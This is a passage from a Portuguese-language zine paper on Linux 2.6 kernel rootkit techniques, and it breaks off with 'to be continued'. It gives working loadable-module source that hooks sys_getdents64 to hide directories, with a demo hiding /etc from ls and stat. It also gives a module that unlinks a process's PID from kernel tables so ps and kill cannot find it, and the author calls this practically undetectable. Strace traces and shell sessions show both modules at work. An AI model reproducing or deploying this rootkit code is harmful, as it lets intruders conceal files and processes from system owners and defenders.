if (i <= 0 || (ddir_t = (struct linux_dirent64 *) kmalloc(i, GFP_KERNEL)) == NULL){
goto quit;
}
if(copy_from_user(ddir_t, dirent, i) != 0){
goto freequit;
}
ptr = ddir = ddir_t;
while (((unsigned long ) ddir) < (((unsigned long) ddir_t) + i)) {
rec = ddir->d_reclen;
if (strncmp(HIDEDIR, ddir->d_name,strlen(HIDEDIR)) == 0){
if(!prev){
ret -= rec;
ptr = (struct linux_dirent64 *) (((unsigned long) ddir) + rec);
}else{
prev->d_reclen += rec;
memset(ddir, 0, rec);
}
}else{
prev = ddir;
}
ddir = (struct linux_dirent64 *)(((unsigned long)ddir)+rec);
}
if(copy_to_user(dirent,ptr,ret) != 0){
goto freequit;
}
freequit:
kfree(ddir_t);
quit:
return i;
}
static int __init init_lkm (void){
sys_call_table = (void*)find_sys_call_table();
SAVE_GETDENTS64
HOOK_GETDENTS64
return 0;
}
static void __exit exit_lkm (void){
RESTORE_GETDENTS64
}
module_init (init_lkm);
module_exit (exit_lkm);
---snip---
A estrutura linux_dirent64{} guarda os valores retornados pela funcao
que sao o nome do diretorio, o inode, tipo, offset e o tamanho de
getdents em bytes.
O que nos interessa e' o seu nome porque baseado nele saberemos
o que esconder, se d_name == "dir" entao assumimos alguma acao.
Veja um trecho do output de strace -v para o comando ls, devidamente
identado para facilitar a visualizacao:
---snip---
... (texto suprimido)
getdents64(3, {
{d_ino=2, d_off=2, d_type=DT_UNKNOWN, d_reclen=24, d_name="."}
{d_ino=1, d_off=2318336, d_type=DT_UNKNOWN, d_reclen=24, d_name=".."}
{d_ino=19, d_off=2354688, d_type=DT_UNKNOWN, d_reclen=24, d_name="bin"}
{d_ino=6, d_off=2401792, d_type=DT_UNKNOWN, d_reclen=24, d_name="dev"}
{d_ino=20, d_off=2529152, d_type=DT_UNKNOWN, d_reclen=24, d_name="etc"}
{d_ino=23, d_off=2563328, d_type=DT_UNKNOWN, d_reclen=24, d_name="lib"}
{d_ino=4, d_off=2609920, d_type=DT_UNKNOWN, d_reclen=24, d_name="mnt"}
{d_ino=60047, d_off=2711168, d_type=DT_UNKNOWN, d_reclen=24, d_name="opt"}
{d_ino=27, d_off=2713728, d_type=DT_UNKNOWN, d_reclen=24, d_name="tmp"}
{d_ino=28, d_off=2730880, d_type=DT_UNKNOWN, d_reclen=24, d_name="sys"}
{d_ino=8, d_off=2744576, d_type=DT_UNKNOWN, d_reclen=24, d_name="var"}
{d_ino=47, d_off=25652864, d_type=DT_UNKNOWN, d_reclen=24, d_name="usr"}
{d_ino=3, d_off=27051904, d_type=DT_UNKNOWN, d_reclen=24, d_name="boot"}
{d_ino=117, d_off=29009280, d_type=DT_UNKNOWN, d_reclen=24, d_name="home"}
{d_ino=118, d_off=29360256, d_type=DT_UNKNOWN, d_reclen=24, d_name="proc"}
{d_ino=119, d_off=29415552, d_type=DT_UNKNOWN, d_reclen=24,d_name="sbin"}
{d_ino=120, d_off=482097408, d_type=DT_UNKNOWN, d_reclen=24, d_name="root"}
... (texto suprimido)
}, 131072) = 512
getdents64(3, {}, 131072)
---snip---
Repare que para a listagem do diretorio a syscall getdents64 e' chamada e cada membro
da lista mostra seu parametro, ou valor, especifico de acordo com o que e' listado, por
exemplo para d_name="etc" temos:
{d_ino=20, d_off=2529152, d_type=DT_UNKNOWN, d_reclen=24, d_name="etc"}
Isto e' uma lista duplamente linkada onde cada node recebe um conjunto
de informacoes para cada diretorio/arquivo encontrado. Podemos confirmar com
o comando stat:
root@char:/# stat etc
File: `etc'
Size: 5352 Blocks: 10 IO Block: 131072 directory
Device: 304h/772d Inode: 20 Links: 51
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2007-05-26 11:50:04.000000000 -0300
Modify: 2007-05-26 10:58:57.000000000 -0300
Change: 2007-05-26 10:58:57.000000000 -0300
root@char:/#
Observe que seu inode visto com strace como 20, tambem aparece como 20 aqui.
stat como muitos outros comandos sao comandos userland que executam todo aquele
procedimento descrito antes nesse paper como a logistica de execucao de syscalls
e funcoes userland. Se modificarmos o comportamento dessa syscall, stat vai retornar
os valores que quisermos, assim como ls.
Agora observe o antes e o depois do modulo carregado:
sh@char:/$ ls -i |grep etc
20 etc/
hash@char:/$ ls
bin/ dev/ home/ libssh-0.11/ opt/ root/ splint-3.1.1/ tmp/ var/
boot/ etc/ lib/ mnt/ proc/ sbin/ sys/ usr/ vmlinuz-2.6.15-bs
hash@char:/$ stat *|grep etc
File: `etc'
hash@char:/$
Entao carregamos o modulo:
# insmod ./sys_hook_getdents64.ko
#
E testamos:
hash@char:/$ ls -i |grep etc
hash@char:/$ ls
bin/ dev/ lib/ mnt/ proc/ sbin/ sys/ usr/ vmlinuz-2.6.15-bs
boot/ home/ libssh-0.11/ opt/ root/ splint-3.1.1/ tmp/ var/
hash@char:/$ stat *|grep etc
hash@char:/$
O diretorio /etc nao aparece mais em nenhum comando.
Veja:
.
.
rec = ddir->d_reclen;
if (strncmp(HIDEDIR, ddir->d_name,strlen(HIDEDIR)) == 0){
prev->d_reclen += rec;
memset(ddir, 0, rec);
}else{
prev = ddir;
}
.
.
Se a nossa regra for satisfeita, no caso o diretorio listado for "etc"
a entrada atual e avancada de acordo com o tamanho de getdents, ou seja, pula
uma casa e passa para o proximo da lista. Sendo assim, "etc" nao e' mais
listado, observe:
Tudo normal, dev e' exibido:
[!] {d_ino=6, d_off=2401792, d_type=DT_UNKNOWN, d_reclen=24, d_name="dev"}
Opa, "etc", suprimido:
[X] {d_ino=20, d_off=2529152, d_type=DT_UNKNOWN, d_reclen=24, d_name="etc"}
Avancamos uma casa, e o proximo da lista e' "lib" que surge:
[!] {d_ino=23, d_off=2563328, d_type=DT_UNKNOWN, d_reclen=24, d_name="lib"}
d_reclen e' o tamanho de getdents, no caso 24 bytes, entao avancamos
exatos 24 bytes chegando em "lib".
[ --- 7 Pids e sys_getdents64()
Ora, o que sao, para os programas de usuario, pids? Diretorios.
Sim, pids sao diretorios, duvida?
hash@char:/$ ls /proc/ |grep [0-9]
1/
1007/
1257/
1274/
1386/
142/
1422/
2/
201/
202/
.
.
.
Hmmm, 1007 ?
hash@char:/$ ps ax |grep 1007 |head -1
1007 ? S[31337]
Found 1 hidden pid
hash@char:~$
Mas a pid nao havia sumido? Sim, sumiu do ps e outros comandos, mas nao de
kill(). Um processo em execucao esta preparado a responder sinais como SIGINT, SIGTERM,
SIGCONT, etc.. Se um processo existe na tabela de processos, sim ele existe na tabela
de processos, so nao aparace para ps, mas existe e se por exemplo, voce como um
usuario comum tentar killar um processo de superuaurio tera permissao negada, retornando
-1 ou 0 se tiver permissao. Viu, ele retorna, e com base nisso e um pouco de forca bruta podemos
descobrir comparando com as entradas de /proc se um processo esta escondido ou nao.
Voce pode ate esconder um processo com getdents e getdents64, mas sera essa uma
das melhores formas? Certamente nao e sobre uma forma muito mais interessante esse capitulo
aborda. Vamos dar um unhash na entrada da(s) pid(s) na tabela de pids, diretamente
no kernel. Nem mesmo o kernel vai saber da existencia desse(s) processo(s) quanto
menos kill() ps, etc. Praticamente inviavel de se detectar.
[ --- 8 Hackeando o kernel sem hooking de syscall
As funcoes nativas do kernel estao la para serem usadas, nem so de
hooking de syscall vive o nerd, ele pode ser mais legitimo e fazer as
coisas como elas devem ser feitas, sempre que possivel.
Esta tecnica, para pids, apareceu pela primeira vez para o
kernel 2.4.x em um paper de ubra da Phrack #63 phile 0x12.
Desde entao muitas pids sumiram na versao 2.4.x, foram para lugares
distantes e sombrios, na escuridao do anonimato, arrumaram emprego
como VJ da MTV, etc...
Entretanto no kernel 2.6.x elas insistiram em aparecer com kill(),
mesmo exelentes rootkits conhecidos como o suckit (se eu estiver errado me corrija)
tem suas pids localizadas com kill.
Mas com um pouco de researching pelos codigos do kernel 2.6.x pude
perceber como portar essa tecnica para a versao que usamos nesse paper.
Muito pouca coisa foi necessaria de se modificar e o
proximo passo diz como funciona.
[ --- 8.1 Indo direto ao ponto, bye pid!
Existem dois arquivos primordiais para se entender como funciona isso,
sao eles:
kernel/pid.c
kernel/exit.c
Veja como um processo que recebe um kill -9
ou que simplesmente termina sua execucao funciona:
1-> Processo rodando com pid 1000
2-> Processo termina sua rotina e execute exit()
3-> exit() passa o controle pro kernel chamando sys_exit()
4-> o kernel no controle via exit.c chama __unhash_process(p)
5-> __unhash_process() de exit.c executa rotinas e chama detach_pid()
6-> detach_pid() existe em pid.c e limpa o encadeamento da lista
referente a pid e retorna
7-> __unhash_process() continua e executa REMOVE_LINKS(p) limpando
seus apontadores para a pid
8-> exit.c continua seu codigo e enfim libera o processo que termina.
Entao o obvio e' que devemos emular esse procedimento, com
um detalhe importante, exit() nao e' chamado, entao a pid deixa de existir
mas o processo em si nao, ele continua a fazer o que tem que ser feito
mas nao e' passivo de kill() e somente um reboot pode mata-lo, e acredite,
ele vai morrer muito abruptamente, quase um atropelamento :)
Vamos ao codigo?
---snip---
/*
* sys_hide_pid.c
*
* Carlos Carvalho aka hash
*
*
*/
#include
#include
#include
#include
#include
#include
#include
struct pid *p;
struct task_struct *task;
void unset_pid(unsigned int unset){
task = find_task_by_pid(unset);
p = &task->pids[PIDTYPE_PID];
if(p){
write_lock_irq(&tasklist_lock);
hlist_del(&p->pid_chain);
list_empty(&p->pid_list);
REMOVE_LINKS(task);
write_unlock_irq(&tasklist_lock);
}
}
static int __init init_lkm (void){
unset_pid(31337);
return 0;
}
static void __exit exit_lkm (void){}
module_init (init_lkm);
module_exit (exit_lkm);
---snip---
Simples nao? Traduzindo:
include/sched.h:
---snip---
#define find_task_by_pid(nr) find_task_by_pid_type(PIDTYPE_PID, nr)
extern struct task_struct *find_task_by_pid_type(int type, int pid);
---snip---
find_task_by_pid() e' um macro que chama find_task_by_pid_type()
que e' exportado por kernel/pid.c com EXPORT_SYMBOL(find_task_by_pid_type).
Veja:
root@char:/proc# grep find_task_by_pid_type kallsyms
c012f9a6 T find_task_by_pid_type
root@char:/proc#
E retorna a task referente aquela pid e a estrutura pid *p
logo em seguida recebe esse ponteiro.
Asseguramos que nao haja uma concorrencia com write_lock_irq(&tasklist_lock).
hlist_del() definido em linux/list.h recebe o node da lista linkada referente
a pid, e chama em si mesmo __hlist_del(n) que efetivamente atualiza a lista
linkada passando o ponteiro a frente se tudo for ok.
list_empty(&p->pid_list) testa aonde a lista foi esvaziada e retorna,
por fim REMOVE_LINKS(task) remove toda referencia aquela pid.
REMOVE_LINKS(task) e' quem efetivamente some com o processo da lista, mas sao
as funcoes anteriores que removem os ponteiros que referenciavam a(s) pid(s)
impedindo o kernel de localiza-las.s
Um processo em background:
---snip---
#include
#include
int main(void) {
if(fork() == 0) {
printf("%d\n",getpid());
sleep(-1);
}
return 0;
}
---snip---
hash@char:~$ gcc f.c -o f
hash@char:~$ ./f
3754
hash@char:~$ ps
PID TTY TIME CMD
27441 pts/4 00:00:00 bash
3754 pts/4 00:00:00 f
3755 pts/4 00:00:00 ps
hash@char:~$
O processo esta rodando. Vamos esquece-lo e voltar ao módulo
substituindo a linha:
unset_pid(31337);
por:
unset_pid(3754);
e vamos comentar as linhas:
//hlist_del(&p->pid_chain);
//list_empty(&p->pid_list);
Recompilar o modulo e dar o insmod de novo:
(to be continued...)
[ --- 9. Consideracoes finais
A ideia desse white paper foi concebida por mim em um momento em que eu
tinha mais tempo livre para esse tipo de pesquisa e o paper seria inclusive
bem mais longo do que e aqui. Por isso, pela falta de tempo decidi
que essa seria a primeira parte, sendo a segunda publicada assim que possivel,
talvez em uma proxima edicao da zine.
Espero que existam muitos erros nesse paper, nao pude revisa-lo como gostaria
e tendo em vista hoje que eu possuo mais experiencia na linguagem C/C++ do que na epoca das
primeiras linhas desse documento eu acredito que eu mesmo faria diversas mudancas no texto
em diversos aspectos, mas quem sabe na parte II eu consiga fazer isso.
[ --- 10. Agradecimentos
A todos os amigos de longa data.
[ --- 11. Referencias
Source code do kernel 2.6.x do Linux.